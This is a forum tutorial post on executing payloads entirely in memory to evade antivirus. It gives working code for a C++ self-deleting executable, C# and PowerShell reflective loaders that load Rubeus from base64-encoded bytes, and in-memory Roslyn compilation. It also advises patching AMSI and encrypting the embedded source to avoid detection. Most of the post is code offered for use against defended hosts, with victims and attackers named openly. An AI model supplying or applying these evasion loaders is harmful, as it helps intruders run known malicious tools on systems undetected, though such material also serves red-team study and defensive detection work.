The Disk Is Lava: Exploring Methods for Executing Payloads in Memory

Tr0jan_Horse

Moderator
Staff member
MODERATOR
ULTIMATE
PREMIUM
MEMBER
Joined
Oct 23, 2024
Messages
304
Reaction score
8,789
Deposit
0$
1746385071005.png

During pentests, you often have to fight with antiviruses. Unfortunately, this can take a lot of time, which negatively affects the results of the project. However, there are a couple of cool tricks that will allow you to forget about the antivirus on the host for a while, and one of them is executing the payload in memory.

It is no secret that during pentests, attackers have to use ready-made tools, be it a payload for Cobalt Strike, the server part of a proxy server being raised, or even a dump of the lsass.exe process. What unites all these files? The fact that they have all been known to antiviruses for a long time, and none of them will ignore the fact of malware appearing on the disk.

Did you notice the key point? The fact of malware appearing on the disk. If we can learn to execute a payload in RAM, will we really fly under the radar of antiviruses? Let's look at techniques for executing files entirely in memory and see how much easier life becomes for attackers if they learn to operate without touching the disk.

Basics of In-Memory Execution
1746385160572.png

Don't expect hardcore, I'll try to explain everything in simple and understandable language.

Execution in memory is absolutely normal behavior. I would even say that everything is executed this way. In fact, the disk is just a springboard, a warehouse from which the necessary programs are pulled, and then the loader projects them into memory and calls the entry point of the program. Nothing prevents us from manually placing bytes of data in memory, and then forcing the system to execute them.

So, I suggest making sure that we do not need the disk as such - everything works successfully without it, completely in RAM. Let's say we have a file example.exe, which is first on the disk, and then it is gone: it disappears and remains only in RAM. This technique is called Self-Deletion. It would seem that you can launch the payload, and in it provide for a call to the DeleteFIle() function, but it is not so. When trying to delete ourselves, we will get the error 0x5 ERROR_ACCESS_DENIED.

However, we can take advantage of the features of the NTFS file system used in Windows. It has so-called data streams, the main one is the $DATA stream. If this stream disappears, the file will disappear and it will be impossible to read it.

Unfortunately, the stream cannot be deleted, but it can be renamed, which will also make it impossible to read the file contents and, as a result, impossible to read and execute it again. We will not go into too much technical details. I will only note that the data stream will be renamed using the SetFileInformationByHandle() function with the FileRenameInfo value passed as FileInformationClass, and then FileDispositionInfo.
C++:
#include <Windows.h>
#include <iostream>
#define NEW_STREAM L":HABRAHABR"
 
 BOOL DeleteSelf() {
 
                WCHAR                       szPath[MAX_PATH * 2] = { 0 };
                FILE_DISPOSITION_INFO       Delete = { 0 };
                HANDLE                      hFile = INVALID_HANDLE_VALUE;
                PFILE_RENAME_INFO           pRename = NULL;
                const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
                SIZE_T                      sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
 
                pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
                if (!pRename) {
                               printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
                               return FALSE;
                }
 
 
                ZeroMemory(szPath, sizeof(szPath));
                ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
 
                Delete.DeleteFile = TRUE;
                pRename->FileNameLength = sizeof(NewStream);
                RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
 
                if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
                               printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
                               return FALSE;
                }
 
                hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
                if (hFile == INVALID_HANDLE_VALUE) {
                               printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
                               return FALSE;
                }
 
                wprintf(L"[i] Renaming :$DATA to %s  ...", NEW_STREAM);
 
                if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
                               printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
                               return FALSE;
                }
                wprintf(L"[+] DONE \n");
 
                CloseHandle(hFile);
 
                hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
                if (hFile == INVALID_HANDLE_VALUE) {
                               printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError());
                               return FALSE;
                }
 
                wprintf(L"[i] DELETING ...");
 
                if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
                               printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
                               return FALSE;
                }
                wprintf(L"[+] DONE \n");
 
                CloseHandle(hFile);
 
                HeapFree(GetProcessHeap(), 0, pRename);
 
                return TRUE;
}
 
int main() {
                DeleteSelf();
                getchar();
                return 0;
}

As we can see, the process has been successfully created and continues its work even when the system is no longer able to read anything from the disk. This is proven by the fact that the file is read by the bootloader, placed in RAM, and then executed.

Built-in language capabilities for executing code in memory
C# and System.Reflection.Assembly

Some languages have built-in functionality for executing specific code in memory. For example, C# has a System.Reflection namespace, and in it, an Assembly class with a Load method that can be used to place and then execute a C# assembly in memory. The prototype is as follows:

C#:
public static System.Reflection.Assembly Load (byte[] rawAssembly);

The function takes a single parameter — rawAssembly. It is an array of bytes of the assembly that needs to be placed in memory. I suggest looking at the Rubeus.exe file — the tool is great for demonstration, because it is written in C#.

To read bytes, we will use File.ReadAllBytes, after which we will pass the bytes to the function described above and call its entry point.

C#:
using System;
using System.IO;
using System.Reflection;
namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            Byte[] bytes = File.ReadAllBytes(@"C:\Users\Michael\Downloads\Rubeus.exe");
            ExecuteAssembly(bytes, new string[] { "user" });
 
            Console.Write("Press any key to exit");
            string input = Console.ReadLine();
        }
 
        public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
        {
            Assembly assembly = Assembly.Load(assemblyBytes);
 
            MethodInfo method = assembly.EntryPoint;
                                              
            object[] parameters = new[] { param };
 
            object execute = method.Invoke(null, parameters);
        }
    }
}
1746385516532.png

So, we can read all the bytes of the payload on the attacker's machine, and then call the Assembly.Load() method on the victim's machine, which will lead to the ability to run the payload in memory! Let's start with reading the bytes. Using File.ReadAllBytes() every time is, to put it mildly, tedious, so the bytes can be read using Powershell:
Bash:
$FilePath = "C:\Users\Michael\Downloads\Rubeus.exe""
$File = [System.IO.File]::ReadAllBytes($FilePath);
The $File variable will contain a very large array of bytes, which is not very convenient to work with:
Therefore, I suggest encoding this array in Base64, and then decoding the string on the machine of the attacked party and getting the required byte stream.

Bash:
$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String;
1746385660467.png
Now all that remains is to change our loader, adding the resulting Base64 string and the functionality for decoding it:
C#:
using System;
using System.IO;
using System.Reflection;
 
 
namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            string assemblyBase64 = "<b64 value>";
            Byte[] bytes = Convert.FromBase64String(assemblyBase64);
            ExecuteAssembly(bytes, new string[] { "user" });
 
            Console.Write("Press any key to exit");
            string input = Console.ReadLine();
        }
 
        public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
        {
            Assembly assembly = Assembly.Load(assemblyBytes);
 
            MethodInfo method = assembly.EntryPoint;
 
            object[] parameters = new[] { param };
 
            object execute = method.Invoke(null, parameters);
        }
    }
}
1746385753394.png

Moreover, it is not necessary to generate a new assembly each time, because we have the ability to call dotnet methods from Powershell. In particular, we can access the System.Reflection we need, and from it call the Assembly.Load() method, which will allow us to load the assembly and access it with the same success.

The syntax is simple:

Bash:
$blob = "<payload base64>"
$load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));

After that, you just need to select the method you want to call using the following syntax:

C#:
[<namespace>.<class>]::<method>()
# Ex
                     [Rubeus.Program]::Main()
In the case of launching via Powershell, all bytes of the assembly passed to the Assembly.Load() method will end up in AMSI before loading, so you need to patch AMSI first so that it does not complain about our loaded payload.

Moreover, not every assembly can be successfully loaded in this way. You should make sure that the project uses Net Framework, not Net Core, since Core cannot be loaded into memory.

During the study of this method of loading assemblies, it turned out that sometimes Powershell fails to detect the presence of an assembly in memory, so you will have to manually isolate and call the required method:

Bash:
$data = 'байты сборки'
$assem = [System.Reflection.Assembly]::Load($data);
$class = $assem.GetType('Rubeus.Program');
$method = $class.GetMethod('Main');
$method.Invoke(0, $null)

C# and MemoryStream()

C# has another interesting mechanism that allows you to compile assemblies literally on the fly from the provided source code. Moreover, as I found out later, this functionality appeared relatively recently, only in 2021.

So, first, the source code must be prepared using CSharpSyntaxTree.ParseText(). Then it must be stored as an instance of the SyntaxTree class.

C#:
SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
            namespace ns{
                using System;
                public class App{
                    public static void Main(string[] args){
                        Console.Write(""dada"");
                    }
                }
            }");
Next, you need to add compilation options (we specify that this will be a console application):
C#:
var options = new CSharpCompilationOptions(
           OutputKind.ConsoleApplication,
           optimizationLevel: OptimizationLevel.Debug,
           allowUnsafe: true);
Now let's prepare the assembly that will be executed in memory. First, we create a variable that will represent the assembly, for this we use the CSharpCompilation.Create() function. The first parameter is the assembly name, and the last one is the necessary compiler options. In our case, a random name is generated.
C#:
var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
Now that we have an assembly object, we add the source code to it by calling the AddSyntaxTrees() method:

C#:
compilation = compilation.AddSyntaxTrees(syntaxTree);

Our assembly has dependencies on other assemblies. For example, the same console output requires the System.Console.Write() method, but where will the compiler get it from? Therefore, now we should add dependencies on other assemblies to the assembly. They are most often presented in the form of .dll files, and standard assemblies are located in the same directory, which can be extracted like this:

C#:
var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);

Please note that a project may have many dependencies, so you will need to create a list:
C#:
List<MetadataReference> references = new List<MetadataReference>();
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));

Additionally, we can parse our previously created syntax tree (remember? The source code of the assembly being built is in it). To do this, we use the following code:

C#:
var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();
 
 foreach (var u in usings)
 {
   references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
  }

  • Compilation.SyntaxTrees — get all syntax trees from the assembly object
  • Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()) — for each tree from the list, the action in brackets after Select is performed. tree.GetRoot() returns the root node of each tree. DescendantNodes() gets all tree nodes derived from the root. OfType<UsingDirectiveSyntax>() filters the nodes, leaving only those that are using directives
  • SelectMany(s => s) — since each tree can contain many using directives, the SelectMany call is needed to convert the list of lists into one common list
  • ToArray() — converts the resulting list into an array for further use. Then we run through the resulting assemblies and add the .dll extension
All that remains is to add the obtained dependencies to the assembly object and compile. Adding is done via the compilation.AddReferences method.
C#:
compilation = compilation.AddReferences(references);

Finally, all the magic of in-memory execution is in using an instance of the MemoryStream class, which allows us to work with data in memory. We pass this instance to the compilation.Emit() method (used to compile the assembly), which results in the compiled assembly being placed in memory.

C#:
using (var ms = new MemoryStream())
        {
            EmitResult result = compilation.Emit(ms);
 
            if (!result.Success)
            {
                IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>
                    diagnostic.IsWarningAsError ||
                    diagnostic.Severity == DiagnosticSeverity.Error);
 
                foreach (Diagnostic diagnostic in failures)
                {
                    Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
                }
            }
            else
            {
                ms.Seek(0, SeekOrigin.Begin);
                AssemblyLoadContext context = AssemblyLoadContext.Default;
                Assembly assembly = context.LoadFromStream(ms);
                assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
 
            }
        }

Then it will be easy to extract the assembly from memory and call the method from it.
C#:
using System;
using System.CodeDom.Compiler;
using System.IO;
using System.Reflection;
using System.Runtime.Loader;
using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.Emit;
 
class Program
{
    static void Main()
    {
        // создание экземпляра класса, содержащего исходный код
        SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
            namespace ns{
                using System;
                public class App{
                    public static void Main(string[] args){
                        Console.Write(""dada"");
                    }
                }
            }");
        // создаем опции компилятора, в которых говорим, что у нас консольное приложение
        var options = new CSharpCompilationOptions(
           OutputKind.ConsoleApplication,
           optimizationLevel: OptimizationLevel.Debug,
           allowUnsafe: true);
 
        // создание объекта сборки
        var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
 
        // добавление исходного кода в сборку
        compilation = compilation.AddSyntaxTrees(syntaxTree);
 
        // получение локального путя, где лежат все сборки
        var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
        List<MetadataReference> references = new List<MetadataReference>();
                              
        // добавление необходимых сборок в список
        references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
        references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
        references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));
                              
        // добавляем сборки из синтаксического дерева
        var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();
 
        // добавляем расширение .dll
        foreach (var u in usings)
        {
            references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
        }
 
        // добавляем зависимости
        compilation = compilation.AddReferences(references);
 
        // компилим
        using (var ms = new MemoryStream())
        {
            EmitResult result = compilation.Emit(ms);
 
            if (!result.Success)
            {
                IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>
                    diagnostic.IsWarningAsError ||
                    diagnostic.Severity == DiagnosticSeverity.Error);
 
                foreach (Diagnostic diagnostic in failures)
                {
                    Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
                }
            }
            else
            {
                ms.Seek(0, SeekOrigin.Begin);
                AssemblyLoadContext context = AssemblyLoadContext.Default;
                Assembly assembly = context.LoadFromStream(ms);
                assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
 
            }
        }
    }
}
Thus, we can run almost any code convenient for us in memory. The only problem is that the source code will be explicitly located in the program, which is not good, of course. But here you can use some cryptographic or encoding functions to hide the source code.

Note that to run the code, you need to add the Microsoft.CodeAnalysis.CSharp package:
1746386552248.png
1746386566702.png

We have learned how to perform Dotnet builds, but what if the program was written in C++? We will find out in the next part of the article ->
 
Top Bottom